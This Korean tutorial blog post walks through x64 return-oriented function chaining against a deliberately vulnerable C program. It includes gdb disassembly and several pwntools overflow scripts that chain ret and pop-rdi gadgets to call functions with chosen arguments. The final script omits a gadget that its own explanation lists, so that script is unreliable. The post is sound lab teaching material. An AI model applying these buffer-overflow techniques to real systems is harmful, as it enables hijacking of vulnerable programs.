Hacking/Pwnable

RTL Chaning (x64)

GunP4ng 2024. 7. 27. 15:46

RTL Chaning (x64)


1. 함수 호출 방법

1. 코드 확인

// Name : rtl_chaning.c
// Compile : gcc -mpreferred-stack-boundary=4 -fno-stack-protector -fno-pic -no-pie -o x64_rtl_chaning rtl_chaning.c

#include <stdio.h>

void func1(int a) {
    printf("func1 val1: %d\n", a);
}

void func2(int b) {
    printf("fucn2 val2: %d\n", b);
}

int main(){
    char buf[100];
    read(0, buf, 200);
    printf("%s\n", buf);

    return 0;
}

read 함수에서 buf 이상의 크기를 입력받아 BOF 가 발생한다.

BOF 를 발생시켜 RET 전까지 덮어씌우고 RET 에 func1 함수를 넣으면 func1 함수가 호출된다.

 

Dump of assembler code for function main:
   0x00000000004011c2 <+0>:     endbr64
   0x00000000004011c6 <+4>:     push   rbp
   0x00000000004011c7 <+5>:     mov    rbp,rsp
   0x00000000004011ca <+8>:     sub    rsp,0x70
   0x00000000004011ce <+12>:    lea    rax,[rbp-0x70]
   0x00000000004011d2 <+16>:    mov    edx,0xc8
   0x00000000004011d7 <+21>:    mov    rsi,rax
   0x00000000004011da <+24>:    mov    edi,0x0
   0x00000000004011df <+29>:    mov    eax,0x0
   0x00000000004011e4 <+34>:    call   0x401080 <read@plt>
   0x00000000004011e9 <+39>:    lea    rax,[rbp-0x70]
   0x00000000004011ed <+43>:    mov    rdi,rax
   0x00000000004011f0 <+46>:    call   0x401060 <puts@plt>
   0x00000000004011f5 <+51>:    mov    eax,0x0
   0x00000000004011fa <+56>:    leave
   0x00000000004011fb <+57>:    ret
End of assembler dump.

main 함수의 어셈블리이다.

buf 는 0x70 (112)인 것을 알 수 있다.

buf 의 크기를 0x64 (100) 만큼 할당했지만 스택 정렬을 위해 0xc(12) 만큼 dummy 값이 들어갔다.

 

func1, func2

func1 의 주소는 0x401176 이다.

func2 의 주소는 0x40119c 이다.

 

2. 메모리 구조

메모리 상태

RET 의 값을 func1 의 주소로 바꾸면 func1() 함수가 실행된다.

buf 와 SFP 의 크기인 0x78 만큼 dummy 값을 넣고

RET 를 func1 의 주소 0x401176 로 덮어씌우면 func1 을 호출할 수 있다.

 

3. func1 호출

from pwn import *

p = process('./x64_rtl_chaning')

func1 = 0x401176
func2 = 0x40119c

payload = b'A' * 0x78
payload += p64(func1)

### pause ###
pause()

p.send(payload)

p.interactive()

0x78 만큼 dummy 값을 보내고 func1 함수를 덮어씌우는 python 코드이다. 

 

동적디버깅으로 확인해보자

메모리 확인

값이 잘 들어간 것을 확인할 수 있다.

main ret

main 함수의 ret 에서 func1 로 잘 넘어가는 것을 볼 수 있다.

 

main ret

main 함수의 ret 에서 스택을 확인하면

RET 에 func1 의 주소 0x401176 이 잘 들어간 것을 볼 수 있다.

 

func1 을 계속 실행하다보면 printf 함수에서 오류가 발생한다.

rsp 가 16bytes 로 정렬되지 않아 오류가 발생한다.

 

ret 가젯을 넣어서 스택 정렬을 맞춰주면 잘 실행될 것이다.

ret gadget

ret 가젯의 주소는 0x40101a 이다.

 

가젯의 주소를 넣은 다음 func1 의 주소를 넣고 실행되는지 확인해보자

printf 실행

정상적으로 실행되는 것을 볼 수 있다.

 

이제 func1의 ret 까지 이동한 후 어떤 주소로 이동하는지 확인해보자

func1 ret

0x4011c2 의 값이 다음 주소로 들어가게 된ㄷ다.

0x4011c2

0x4011c2 의 값은 main 의 시작 주소이다. 

그럼 이 주소는 어디서 왔을까?

main 함수에서 ret 을 호출할 때 스택을 확인해보자

main ret

main 함수의 ret 에 ret 가젯 주소가 들어가고 그 다음 func1 의 주소가 들어갔다.

0x4011c2 는 func1 의 주소 다음 값이다.

호출한 함수 바로 다음값이 func1 의 ret 에서 수행되는 것이다.

 

func1 함수 다음 값이 다시 ret 가 수행되니 func1 주소값 다음 func2 의 주소값을 넣어보자

 

4. func2 호출

from pwn import *

p = process('./x64_rtl_chaning')

func1 = 0x401176
func2 = 0x40119c
ret = 0x40101a

payload = b'A' * 0x78
payload += p64(ret)
payload += p64(func1)
payload += p64(func2)

### pause ###
pause()

p.send(payload)

p.interactive()

func1 함수 다음 func2 함수의 주소도 보내도록 추가한 코드이다.

 

func2 함수가 잘 호출되는지 확인해보자

func1 ret

func1 에서 ret 를 실행하기 전의 상태이다.

스택을 확인하면 ret 에 func2 의 주소 (0x40119c) 가 잘 들어간 것을 확인할 수 있다.

func2

func2 함수로 잘 넘어온 것을 알 수 있다.

 

func2 를 실행하다보면 printf 함수에서 또 오류가 발생한다.

rsp 가 16bytes로 정렬이 되지 않아서 생기는 문제이다.

 

위의 func1 을 호출했던 것과 마찬가지로 ret 가젯을 넣고 그 다음 func2 를 호출해보자

func2 호출

ret 가젯을 호출하고 그 다음 func2 를 호출하는 것을 볼 수 있다.

 

이제 func2 의 ret 를 실행하기 전의 스택을 확인해보자

func2 ret

func2 의 ret 에는 0x7fffffffe148 가 들어있는 것을 볼 수 있다.

 

0x7fffffffe148 는 어디서 온 값일까?

main 함수에서 ret 를 호출하기 전의 스택을 다시 확인해보자

main ret

func2 다음 값인 0x7fffffffe148 이 func2 의 ret 가 된 것을 알 수 있다.

 

 

2. 함수 인자값 확인

1. func1 인자

코드를 실행해보면

func1, func2 가 모두 실행된 것을 확인할 수 있다.

 

func1 에서 val1 값을 출력하고 있는데  -134579600 의 값은 어디서 가져온걸까?

func1 에서 printf 에 break 를 걸고 스택을 확인해보자

스택 상태

스택에는 0xf7fa7a700040101a 값이 들어있다.

 

Dump of assembler code for function func1:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   rbp
   0x000000000040117b <+5>:     mov    rbp,rsp
   0x000000000040117e <+8>:     sub    rsp,0x10
   0x0000000000401182 <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401185 <+15>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401188 <+18>:    mov    esi,eax
   0x000000000040118a <+20>:    mov    edi,0x402004
   0x000000000040118f <+25>:    mov    eax,0x0
=> 0x0000000000401194 <+30>:    call   0x401070 <printf@plt>
   0x0000000000401199 <+35>:    nop
   0x000000000040119a <+36>:    leave
   0x000000000040119b <+37>:    ret
End of assembler dump.

func1 의 어셈블리이다.

 

0x402004 와 esi 의 값을 확인해보자

0x402004, esi

esi 에 0xf7fa7a0 십진수로 -134579600 이 들어있는 걸 확인할 수 있다.

 

64bit 환경에서는 함수의 인자를 rdi, rsi, rdx, rcx, r8, r9 레지스터의 순으로 넘겨준다.

스택을 보면 0xf7fa7a700040101a 값이 들어있다.

 

위의 func1 의 어셈블리를 보면 함수의 인자를 edi, esi 로 넘기고 있기 때문에

상위 4bytes 0xf7fa7a70 의 값이 함수의 인자로 전달되는 것을 알 수 있다.

그 다음 하위 4bytes 0040101a 는 ret 가젯의 주소이다.

 

스택을 한번 그려보자

스택 상태

0xf7fa7a700040101a 의 상위 4bytes 가 먼저 스택에 들어가고 그 다음 ret 가젯의 주소가 들어가기 때문에

스택은 SFP, ret 가젯, func1 인자, func1 의 순으로 들어가게 된다.

 

ret 가젯 말고 pop rdi ret 가젯을 이용해서 func1 에 인자를 전달해보자

pop rdi

pop rdi 가젯을 라이브러리에서 가져왔다.

0x2a3e5 는 라이브러리 주소와의 offset 이므로 라이브러리 주소 0x7ffff7d8b000 와 더해준다.

0x7ffff7db53e5 가 pop rdi 가젯의 주소가 된다.

 

from pwn import *

p = process('./x64_rtl_chaning')

func1 = 0x401176
func2 = 0x40119c
ret = 0x40101a
pop_rdi = 0x7ffff7db53e5

payload = b'A' * 0x78
payload += p64(ret)
payload += p64(pop_rdi)
payload += b'B' * 8
payload += p64(func1)
payload += p64(ret)
payload += p64(func2)

### pause ###
pause()

p.send(payload)

p.interactive()

python 으로 func1 의 인자까지 넘기도록 코드를 짰다

스택 정렬을 맞춰주기 위해 ret 가젯 다음 pop_rdi 가젯을 추가했다.

 

인자가 잘 넘어가는지 확인해보자

1111638594 (0x42424242) 가 출력되어 인자가 잘 넘어가는 것을 확인할 수 있다.

 

2. func2 인자

func1 에 인자를 넘긴것과 마찬가지로 func2 에도 인자를 넣어보자

from pwn import *

p = process('./x64_rtl_chaning')

func1 = 0x401176
func2 = 0x40119c
ret = 0x40101a
pop_rdi = 0x7ffff7db53e5

payload = b'A' * 0x78
payload += p64(ret)
payload += p64(pop_rdi)
payload += b'B' * 8
payload += p64(func1)
payload += p64(ret)
payload += b'B' * 8
payload += p64(func2)

### pause ###
pause()

p.send(payload)

p.interactive()

 

 

스택 상황을 그려보자

스택 상태

스택 구조는 SFP + 가젯 + 함수의 인자 + 함수의 주소 이다.

 

main 함수의 ret 에 break 를 걸고 스택을 확인해보자

main ret

  • ret 가젯
  • pop rdi 가젯
  • func1 인자
  • func1 주소
  • ret 가젯
  • pop rdi 가젯
  • func2 인자
  • func2 주소

순서로 값이 잘 들어간 것을 확인할 수 있다.

 

계속 실행해보자

func1, func2 함수의 인자 둘 다 1111638594 (0x42424242) 로 잘 들어갔다.

 

 

3. 정리

1. x64

  • 64bit 환경에서는 함수의 인자를 rdi, rsi, rdx, rcx, r8, r9 레지스터의 순으로 전달한다.
  • 스택 순서는 가젯 + 함수의 인자 + 함수의 주소 순으로 해야한다.
  • ret 로 호출한 함수는 rsp 가 16bytes 정렬이 되지 않아 Segmentation fault 에러가 발생할 수 있다.
    → 아무의미 없는 ret 가젯을 추가하여 정렬을 맞춰주면 된다.
  • 다음 함수를 호출하고 싶으면 똑같이 가젯 + 함수의 인자 + 함수의 주소 를 스택에 넣으면 된다.

 

2. x86

  • RET 에 원하는 함수를 넣는다
  • 스택 순서는 함수의 주소 + dummy + 함수의 인자 이다
    → dummy 에 가젯을 넣으면 함수를 여러개 호출 할 수 있다.
  • 함수의 인자는 ret+0x8 의 위치에 넣어준다.

 

 

Reference


https://kblab.tistory.com/222

https://lactea.kr/entry/bof-RTL-Chaining-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95